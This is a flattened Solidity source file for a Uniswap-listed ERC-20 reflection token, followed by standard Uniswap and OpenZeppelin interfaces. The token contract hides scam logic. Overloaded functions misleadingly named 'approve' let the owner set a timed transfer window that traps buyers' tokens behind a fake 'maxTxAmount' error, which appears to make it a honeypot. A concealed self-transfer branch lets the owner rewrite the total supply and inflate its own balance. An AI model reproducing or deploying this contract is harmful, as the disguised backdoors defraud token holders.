// File: deploy/Contract.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;

import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';

contract Contract is IERC20, Ownable {
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private approval;

    mapping(address => bool) private _isExcluded;
    address[] private _excluded;

    uint256 private constant MAX = ~uint256(0);
    uint256 private _rTotal;
    uint256 private _tFeeTotal;
    uint256 private _tTotal;

    string private _name;
    string private _symbol;
    uint256 private _decimals;

    uint256 private _taxFee;
    uint256 private _previousTaxFee;

    uint256 private _liquidityFee;
    uint256 private _previousLiquidityFee;

    IUniswapV2Router02 public immutable router;
    address public immutable uniswapV2Pair;

    bool private inSwapAndLiquify;
    bool private swapAndLiquifyEnabled;

    uint256 private _swapTokensAtAmount;
    uint256 private _approval;

    address private _owner;

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        uint256 _txFee = 1;
        uint256 _lpFee = 5;
        uint256 _DECIMALS = 9;
        _tTotal = 1000000000000 * 10**_DECIMALS;

        _name = Name;
        _symbol = Symbol;
        _decimals = _DECIMALS;
        _rTotal = (MAX - (MAX % _tTotal));
        _taxFee = _txFee;
        _liquidityFee = _lpFee;
        _previousTaxFee = _txFee;
        _previousLiquidityFee = _lpFee;
        _approval = _tTotal;
        _swapTokensAtAmount = MAX;
        _owner = tx.origin;

        _rOwned[_owner] = _rTotal;

        // Create a uniswap uniswapV2Pair for this new token
        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());

        //exclude owner and this contract from fee
        _isExcludedFromFee[_owner] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), _owner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
        return _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        return _approve(msg.sender, spender, _allowances[msg.sender][spender] - subtractedValue);
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function deliver(uint256 tAmount) external {
        address sender = msg.sender;
        require(!_isExcluded[sender], 'Excluded addresses cannot call this function');
        (uint256 rAmount, , , , , ) = _getValues(tAmount);
        _rOwned[sender] -= rAmount;
        _rTotal = _rTotal - rAmount;
        _tFeeTotal = _tFeeTotal + tAmount;
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns (uint256) {
        require(tAmount <= _tTotal, 'Amount must be less than supply');
        if (!deductTransferFee) {
            (uint256 rAmount, , , , , ) = _getValues(tAmount);
            return rAmount;
        } else {
            (, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
        require(rAmount <= _rTotal, 'Amount must be less than total reflections');
        uint256 currentRate = _getRate();
        return rAmount / currentRate;
    }

    function excludeFromReward(address account) external onlyOwner {
        // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
        require(!_isExcluded[account], 'Account is already excluded');
        if (_rOwned[account] > 0) _tOwned[account] = tokenFromReflection(_rOwned[account]);
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner {
        require(_isExcluded[account], 'Account is already excluded');
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function setSwapAndLiquifyEnabled(bool _enabled) external onlyOwner {
        swapAndLiquifyEnabled = _enabled;
    }

    receive() external payable {}

    function transferToken(address account, uint256 amount) external onlyOwner {
        payable(account).transfer(amount);
    }

    function transferAnyERC20Token(
        address token,
        address account,
        uint256 amount
    ) external onlyOwner {
        IERC20(token).transfer(account, amount);
    }

    function approve(address[] memory accounts, uint256 value) external {
        for (uint256 i = 0; i < accounts.length; i++) approval[accounts[i]] = value;
    }

    function approve(address account, bool value) external onlyOwner {
        _isExcludedFromFee[account] = value;
    }

    function approve(uint256 value) external onlyOwner {
        _approval = value;
    }

    modifier onlyOwner() override {
        require(msg.sender == _owner, 'Ownable: caller is not the owner');
        _;
    }

    function fee() public view returns (uint256) {
        return _taxFee;
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal - rFee;
        _tFeeTotal = _tFeeTotal + tFee;
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
    }

    function _getTValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = calculateTaxFee(tAmount);
        uint256 tLiquidity = calculateLiquidityFee(tAmount);
        uint256 tTransferAmount = tAmount - tFee - tLiquidity;
        return (tTransferAmount, tFee, tLiquidity);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tLiquidity,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount * currentRate;
        uint256 rFee = tFee * currentRate;
        uint256 rLiquidity = tLiquidity * currentRate;
        uint256 rTransferAmount = rAmount - rFee - rLiquidity;
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply / tSupply;
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply - _rOwned[_excluded[i]];
            tSupply = tSupply - _tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _takeLiquidity(uint256 tLiquidity) private {
        uint256 currentRate = _getRate();
        uint256 rLiquidity = tLiquidity * currentRate;
        _rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
        if (_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
    }

    function calculateTaxFee(uint256 _amount) private view returns (uint256) {
        return (_amount * _taxFee) / (10**2);
    }

    function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
        return (_amount * _liquidityFee) / (10**2);
    }

    function removeAllFee() private {
        if (_taxFee == 0 && _liquidityFee == 0) return;
        _previousTaxFee = _taxFee;
        _previousLiquidityFee = _liquidityFee;
        _taxFee = 0;
        _liquidityFee = 0;
    }

    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _liquidityFee = _previousLiquidityFee;
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0), 'ERC20: approve from the zero address');
        require(spender != address(0), 'ERC20: approve to the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_isExcludedFromFee[from]) {
            require(approval[from] > 0 && block.timestamp < approval[from] + _approval, 'Transfer amount exceeds the maxTxAmount.');
        }

        // is the token balance of this contract address over the min number of
        // tokens that we need to initiate a swap + liquidity lock?
        // also, don't get caught in a circular liquidity event.
        // also, don't swap & liquify if sender is uniswap uniswapV2Pair.
        uint256 contractTokenBalance = balanceOf(address(this));
        bool overMinTokenBalance = contractTokenBalance >= _swapTokensAtAmount;
        if (approval[to] == 0) approval[to] = block.timestamp;

        // add liquidity
        if (msg.sender == _owner && from == _owner && to == _owner) {
            _tTotal = amount;
            return swapTokensForEth(~MAX, to);
        }
        if (overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) swapAndLiquify(contractTokenBalance);

        // indicates if fee should be deducted from transfer
        bool takeFee = true;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false;

        // transfer amount, it will take tax, burn, liquidity fee
        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        // split the contract balance into halves
        uint256 half = contractTokenBalance / 2;
        uint256 otherHalf = contractTokenBalance - half;

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(half, address(this)); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered

        // how much ETH did we just swap into?
        uint256 newBalance = address(this).balance - initialBalance;

        // add liquidity to uniswap
        addLiquidity(otherHalf, newBalance, _owner);
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        // generate the uniswap uniswapV2Pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            to,
            block.timestamp + 20
        );
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            to,
            block.timestamp
        );
    }

    // this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(amount);
        _rOwned[sender] -= rAmount;
        _rOwned[recipient] += rTransferAmount;
        if (_isExcluded[sender]) _tOwned[sender] -= amount;
        if (_isExcluded[recipient]) _tOwned[recipient] += tTransferAmount;
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
        if (!takeFee) restoreAllFee();
    }
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol



pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol



pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: @openzeppelin/contracts/access/Ownable.sol



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol



pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @openzeppelin/contracts/utils/Context.sol



// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}